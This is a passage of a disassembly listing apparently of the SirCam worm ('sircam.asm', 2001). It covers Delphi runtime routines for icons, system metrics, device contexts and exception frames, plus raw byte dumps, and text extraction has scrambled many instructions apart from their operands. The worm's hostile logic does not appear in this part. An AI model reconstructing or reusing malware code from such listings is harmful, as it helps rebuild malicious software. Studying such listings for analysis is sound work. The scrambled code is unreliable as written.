bl, bl
jle
short loc_4155CE
mov
eax, esi
call
sub_402D2C
sircam.asm
Fri Aug 10 12:42:44 2001
loc_4155CE:
sub_4155A4
577
; CODE XREF: sub_4155A4+21\030j
pop
pop
retn
endp
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4155D4
proc near
; DATA XREF: CODE:00413628\030o
push
ebx
mov
ebx, eax
mov
eax, [ebx+8]
test
eax, eax
jz
short loc_4155E4
push
eax
call
j_DestroyIcon
loc_4155E4:
sub_4155D4
; CODE XREF: sub_4155D4+8\030j
xor
mov
pop
retn
endp
eax, eax
[ebx+8], eax
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4155EC
proc near
; CODE XREF: sub_416478+166\031p
; DATA XREF: CODE:00413690\030o
push
push
push
test
jz
add
call
ebx
esi
edi
dl, dl
short loc_4155FB
esp, 0FFFFFFF0h
sub_402CDC
mov
mov
xor
mov
call
mov
mov
mov
call
mov
mov
mov
call
mov
test
jz
call
pop
add
; CODE XREF: sub_4155EC+5\030j
ebx, edx
edi, eax
edx, edx
eax, edi
sub_4150F4
byte ptr [edi+19h], 1
dl, 1
eax, ds:off_4135DC
sub_402BAC
esi, eax
[edi+20h], esi
eax, esi
sub_415580
eax, edi
bl, bl
short loc_415639
sub_402D34
large dword ptr fs:0
esp, 0Ch
mov
pop
pop
eax, edi
edi
esi
loc_4155FB:
loc_415639:
; CODE XREF: sub_4155EC+3C\030j
sircam.asm
sub_4155EC
Fri Aug 10 12:42:44 2001
pop
retn
endp
578
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_415640
proc near
; DATA XREF: CODE:00413680\030o
push
ebx
push
esi
call
sub_402D3C
mov
ebx, edx
mov
esi, eax
mov
eax, [esi+20h]
call
sub_415584
mov
edx, ebx
and
dl, 0FCh
mov
eax, esi
call
sub_40C520
test
bl, bl
jle
short loc_41566A
mov
eax, esi
call
sub_402D2C
loc_41566A:
sub_415640
; CODE XREF: sub_415640+21\030j
pop
pop
retn
endp
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_415670
proc near
; DATA XREF: CODE:0041368C\030o
push
ebx
push
esi
push
edi
mov
ebx, edx
mov
esi, eax
test
ebx, ebx
jz
short loc_41568C
mov
eax, ebx
mov
edx, ds:off_413638
call
sub_402C40
test
al, al
jz
short loc_4156C0
loc_41568C:
; CODE XREF: sub_415670+9\030j
test
ebx, ebx
jz
short loc_4156AA
mov
edi, ebx
mov
eax, [edi+20h]
call
sub_415580
mov
eax, [esi+20h]
call
sub_415584
mov
eax, [edi+20h]
mov
[esi+20h], eax
jmp
short loc_4156B5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4156AA:
; CODE XREF: sub_415670+1E\030j
xor
xor
mov
ecx, ecx
edx, edx
eax, esi
sircam.asm
Fri Aug 10 12:42:44 2001
call
579
sub_415948
loc_4156B5:
; CODE XREF: sub_415670+38\030j
mov
edx, esi
mov
eax, esi
mov
ecx, [eax]
call
dword ptr [ecx+10h]
jmp
short loc_4156C9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4156C0:
; CODE XREF: sub_415670+1A\030j
mov
mov
call
edx, ebx
eax, esi
sub_40C54C
pop
pop
pop
retn
endp
edi
esi
ebx
loc_4156C9:
sub_415670
; CODE XREF: sub_415670+4E\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4156D0
sub_4156D0
proc near
; DATA XREF: CODE:00413698\030o
push
ebx
push
esi
push
edi
mov
edi, ecx
mov
esi, edx
mov
ebx, eax
mov
dl, ds:byte_41570C
mov
eax, esi
call
sub_414244
push
3
push
0
push
0
push
0
push
0
mov
eax, ebx
call
sub_415728
push
eax
mov
eax, [edi+4]
push
eax
mov
eax, [edi]
push
eax
mov
eax, [esi+4]
push
eax
call
j_DrawIconEx
pop
edi
pop
esi
pop
ebx
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
byte_41570C
db 1
; DATA XREF: sub_4156D0+9\030r
align 4
loc_415710:
mov
cmp
jnz
cmp
jz
; DATA XREF: CODE:004136A0\030o
eax, [eax+20h]
dword ptr [eax+8], 0
short loc_41571F
dword ptr [eax+0Ch], 0
short loc_415722
sircam.asm
Fri Aug 10 12:42:44 2001
580
loc_41571F:
; CODE XREF: CODE:00415717\030j
xor
eax, eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415722:
; CODE XREF: CODE:0041571D\030j
mov
al, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_415728
proc near
sub_415728
push
mov
mov
call
mov
mov
pop
retn
endp
; CODE XREF: sub_4156D0+22\030p
; sub_4157DC+42\031p ...
ebx
ebx, eax
eax, ebx
sub_415764
eax, [ebx+20h]
eax, [eax+8]
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_41573C:
mov
mov
test
jnz
push
call
; DATA XREF: CODE:004136A4\030o
eax, [eax+20h]
eax, [eax+14h]
eax, eax
short locret_41574D
0Ch
j_GetSystemMetrics
locret_41574D:
; CODE XREF: CODE:00415744\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_415750:
mov
mov
test
jnz
push
call
; DATA XREF: CODE:004136B0\030o
eax, [eax+20h]
eax, [eax+10h]
eax, eax
short locret_415761
0Bh
j_GetSystemMetrics
locret_415761:
; CODE XREF: CODE:00415758\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_415764
proc near
var_A
var_8
var_4
= word ptr -0Ah
= word ptr -8
= dword ptr -4
push
push
add
mov
mov
cmp
; CODE XREF: sub_415728+5\030p
ebx
esi
esp, 0FFFFFFF4h
esi, eax
ebx, [esi+20h]
dword ptr [ebx+8], 0
sircam.asm
Fri Aug 10 12:42:44 2001
581
jnz
short loc_4157D4
mov
eax, [ebx+0Ch]
test
eax, eax
jz
short loc_4157D4
xor
edx, edx
call
sub_40D840
mov
edx, esp
mov
ecx, 6
mov
eax, [ebx+0Ch]
call
sub_40D884
mov
ax, [esp+0Ch+var_A]
sub
ax, 1
jb
short loc_4157A0
jz
short loc_4157AB
jmp
short loc_4157C8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4157A0:
; CODE XREF: sub_415764+36\030j
mov
eax, ds:dword_41E68C
mov
[esp+0Ch+var_4], eax
jmp
short loc_4157CD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4157AB:
; CODE XREF: sub_415764+38\030j
push
6
lea
eax, [esi+24h]
push
eax
lea
eax, [ebx+10h]
push
eax
movzx
ecx, [esp+18h+var_8]
lea
edx, [esp+18h+var_4]
mov
eax, [ebx+0Ch]
call
sub_4149E8
jmp
short loc_4157CD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4157C8:
; CODE XREF: sub_415764+3A\030j
call
sub_4143CC
mov
mov
; CODE XREF: sub_415764+45\030j
; sub_415764+62\030j
eax, [esp+0Ch+var_4]
[ebx+8], eax
loc_4157CD:
loc_4157D4:
sub_415764
; CODE XREF: sub_415764+E\030j
; sub_415764+15\030j
add
pop
pop
retn
endp
esp, 0Ch
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4157DC
proc near
var_A
var_4
= byte ptr -0Ah
= dword ptr -4
push
mov
add
push
push
push
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
edi
; CODE XREF: sub_415A08+8\031p
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
cmp
jnz
cmp
jnz
call
582
esi, eax
ebx, [esi+20h]
dword ptr [ebx+0Ch], 0
loc_415886
dword ptr [ebx+8], 0
short loc_4157FF
sub_4143CC
loc_4157FF:
; CODE XREF: sub_4157DC+1C\030j
mov
dl, 1
mov
eax, ds:off_40BE14
call
sub_402BAC
mov
[ebp+var_4], eax
xor
eax, eax
push
ebp
push
offset loc_415869
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, esi
call
sub_415728
cmp
eax, ds:dword_41E68C
jnz
short loc_41584C
lea
eax, [ebp+var_A]
xor
ecx, ecx
mov
edx, 6
call
sub_4028D4
lea
edx, [ebp+var_A]
mov
ecx, 6
mov
eax, [ebp+var_4]
call
sub_40D8BC
jmp
short loc_41585F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41584C:
; CODE XREF: sub_4157DC+4D\030j
mov
call
mov
xor
mov
call
eax, esi
sub_415728
edx, eax
ecx, ecx
eax, [ebp+var_4]
sub_414EF8
loc_41585F:
; CODE XREF: sub_4157DC+6E\030j
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
jmp
short loc_415880
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415869:
; DATA XREF: sub_4157DC+35\030o
jmp
loc_402E34
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov
eax, [ebp-4]
call
sub_402BDC
call
sub_402FB4
call
sub_403008
loc_415880:
; CODE XREF: sub_4157DC+8B\030j
mov
mov
eax, [ebp+var_4]
[ebx+0Ch], eax
pop
pop
pop
mov
pop
retn
endp
edi
esi
ebx
esp, ebp
ebp
loc_415886:
sub_4157DC
; CODE XREF: sub_4157DC+12\030j
sircam.asm
Fri Aug 10 12:42:44 2001
583
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_415890
proc near
var_A
var_8
var_4
= byte ptr -0Ah
= word ptr -8
= dword ptr -4
push
mov
add
push
push
push
mov
mov
mov
mov
call
mov
xor
push
push
push
mov
mov
call
push
mov
call
pop
sub
mov
mov
call
mov
call
mov
mov
mov
mov
call
lea
mov
mov
call
mov
sub
jb
call
loc_415909:
; DATA XREF: CODE:004136D4\030o
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
edi
esi, edx
ebx, eax
dl, 1
eax, ds:off_40BE14
sub_402BAC
[ebp+var_4], eax
eax, eax
ebp
offset loc_41591F
dword ptr fs:[eax]
fs:[eax], esp
eax, esi
sub_40D84C
eax
eax, esi
sub_40D830
edx
edx, eax
eax, [ebp+var_4]
ecx, [eax]
dword ptr [ecx]
eax, [ebp+var_4]
sub_40D84C
ecx, eax
eax, [ebp+var_4]
edx, [eax+4]
eax, esi
sub_40D884
edx, [ebp+var_A]
ecx, 6
eax, [ebp+var_4]
sub_40D884
ax, [ebp+var_8]
ax, 2
short loc_415909
sub_4143CC
; CODE XREF: sub_415890+72\030j
mov
ecx, [ebp+var_4]
xor
edx, edx
mov
eax, ebx
call
sub_415948
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
jmp
short loc_415936
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
584
loc_41591F:
; DATA XREF: sub_415890+1F\030o
jmp
loc_402E34
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov
eax, [ebp-4]
call
sub_402BDC
call
sub_402FB4
call
sub_403008
loc_415936:
sub_415890
mov
mov
mov
call
pop
pop
pop
mov
pop
retn
endp
; CODE XREF: sub_415890+8D\030j
edx, ebx
eax, ebx
ecx, [eax]
dword ptr [ecx+10h]
edi
esi
ebx
esp, ebp
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_415948
proc near
var_4
= dword ptr -4
; CODE XREF: sub_415670+40\030p
; sub_415890+80\030p ...
push
ebp
mov
ebp, esp
push
ecx
push
ebx
push
esi
push
edi
mov
edi, ecx
mov
esi, edx
mov
ebx, eax
mov
dl, 1
mov
eax, ds:off_4135DC
call
sub_402BAC
mov
[ebp+var_4], eax
xor
eax, eax
push
ebp
push
offset loc_415988
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, [ebp+var_4]
mov
[eax+8], esi
mov
eax, [ebp+var_4]
mov
[eax+0Ch], edi
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
jmp
short loc_41599F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415988:
; DATA XREF: sub_415948+1F\030o
jmp
loc_402E34
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov
eax, [ebp-4]
call
sub_402BDC
call
sub_402FB4
call
sub_403008
sircam.asm
Fri Aug 10 12:42:44 2001
loc_41599F:
sub_415948
585
; CODE XREF: sub_415948+3E\030j
mov
call
mov
call
mov
mov
pop
pop
pop
pop
pop
retn
endp
eax, [ebp+var_4]
sub_415580
eax, [ebx+20h]
sub_415584
eax, [ebp+var_4]
[ebx+20h], eax
edi
esi
ebx
ecx
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4159BC
sub_4159BC
proc near
; CODE XREF: sub_416478+1C3\031p
push
ebx
mov
ebx, eax
xor
ecx, ecx
mov
eax, ebx
call
sub_415948
mov
edx, ebx
mov
eax, ebx
mov
ecx, [eax]
call
dword ptr [ecx+10h]
pop
ebx
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_4159D4:
; DATA XREF: CODE:004136B8\030o
mov
ecx, [eax+20h]
cmp
dword ptr [ecx+8], 0
jnz
short loc_4159E1
mov
[eax+28h], edx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4159E1:
; CODE XREF: CODE:004159DB\030j
mov
eax, ds:off_41DB28
call
sub_414390
retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND]
align 4
loc_4159F0:
; DATA XREF: CODE:004136C4\030o
mov
ecx, [eax+20h]
cmp
dword ptr [ecx+8], 0
jnz
short loc_4159FD
mov
[eax+24h], edx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4159FD:
mov
call
retn
; CODE XREF: CODE:004159F7\030j
eax, ds:off_41DB28
sub_414390
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
sub_415A08
sub_415A08
Fri Aug 10 12:42:44 2001
proc near
push
ebx
push
esi
mov
esi, edx
mov
ebx, eax
mov
eax, ebx
call
sub_4157DC
mov
eax, [ebx+20h]
mov
ebx, [eax+0Ch]
mov
eax, ebx
call
sub_40D84C
mov
ecx, eax
mov
edx, [ebx+4]
mov
eax, esi
call
sub_40D8BC
pop
esi
pop
ebx
retn
endp
586
; DATA XREF: CODE:004136D8\030o
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_415A34
sub_415A34
proc near
; DATA XREF: CODE:004136DC\030o
push
ebp
mov
ebp, esp
mov
eax, ds:off_41DAD0
call
sub_414390
pop
ebp
retn
4
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_415A48
sub_415A48
proc near
; DATA XREF: CODE:004136E0\030o
push
ebp
mov
ebp, esp
mov
eax, ds:off_41DAD0
call
sub_414390
pop
ebp
retn
4
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
db 53h ; S
db 6Ah ; j
db
0 ;
db 0E8h ; è
db 0D8h ; Ø
db
3 ;
db 0FFh ;
db 0FFh ;
db 8Bh ; \213
db 0D8h ; Ø
db 6Ah ; j
db 5Ah ; Z
db 53h ; S
db 0E8h ; è
db 36h ; 6
db
3 ;
sircam.asm
Fri Aug 10 12:42:44 2001
db 0FFh
db 0FFh
db 0A3h
db 7Ch
db 0E6h
db 41h
db
0
db 53h
db 6Ah
db
0
db 0E8h
db 0F9h
db
3
db 0FFh
db 0FFh
db 0B8h
db 74h
db 0DAh
db 41h
db
0
db 0BAh
db 0Fh
db
0
db
0
db
0
db 0E8h
db 0EEh
db 0EBh
db 0FFh
db 0FFh
db 0A3h
db 74h
db 0E6h
db 41h
db
0
db 5Bh
db 0C3h
align 4
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
587
£
| OFF32 SEGDEF [BSS,41E67C]
æ
A
S
j
è
ù
¸
t OFF32 SEGDEF [DATA,41DA74]
Ú
A
º
è
î
ë
£
t OFF32 SEGDEF [BSS,41E674]
æ
A
[
Ã
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_415A94
proc near
var_4
= byte ptr -4
push
push
add
mov
push
call
mov
test
jz
mov
push
push
call
test
jz
push
push
call
test
jz
mov
loc_415AC7:
ebx
esi
esp, 0FFFFFFC8h
bl, 1
0
j_GetDC
esi, eax
esi, esi
short loc_415ACF
eax, ds:dword_41E688
eax
esi
j_SelectObject
eax, eax
short loc_415AC7
esp
esi
j_GetTextMetricsA
eax, eax
short loc_415AC7
bl, [esp+38h+var_4]
; CODE XREF: sub_415A94+22\030j
; sub_415A94+2D\030j
sircam.asm
Fri Aug 10 12:42:44 2001
push
push
call
esi
0
j_ReleaseDC
mov
add
pop
pop
retn
endp
eax, ebx
esp, 38h
esi
ebx
loc_415ACF:
sub_415A94
588
; CODE XREF: sub_415A94+12\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
db 53h ; S
db 56h ; V
db 57h ; W
db 6Ah ; j
db 48h ; H
db 0A1h ; ¡
db 7Ch ; | OFF32 SEGDEF [BSS,41E67C]
db 0E6h ; æ
db 41h ; A
db
0 ;
db 50h ; P
db 6Ah ; j
db
8 ;
db 0E8h ; è
db 0D2h ; Ò
db
1 ;
db 0FFh ;
db 0FFh ;
db 0F7h ; ÷
db 0D8h ; Ø
db 0A3h ; £
db 30h ; 0 OFF32 SEGDEF [DATA,41D830]
db 0D8h ; Ø
db 41h ; A
db
0 ;
db 0A1h ; ¡
